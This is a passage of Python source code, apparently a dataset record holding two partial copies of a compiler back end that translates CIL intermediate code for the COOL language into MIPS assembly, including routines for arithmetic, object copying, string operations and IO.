self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n \"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 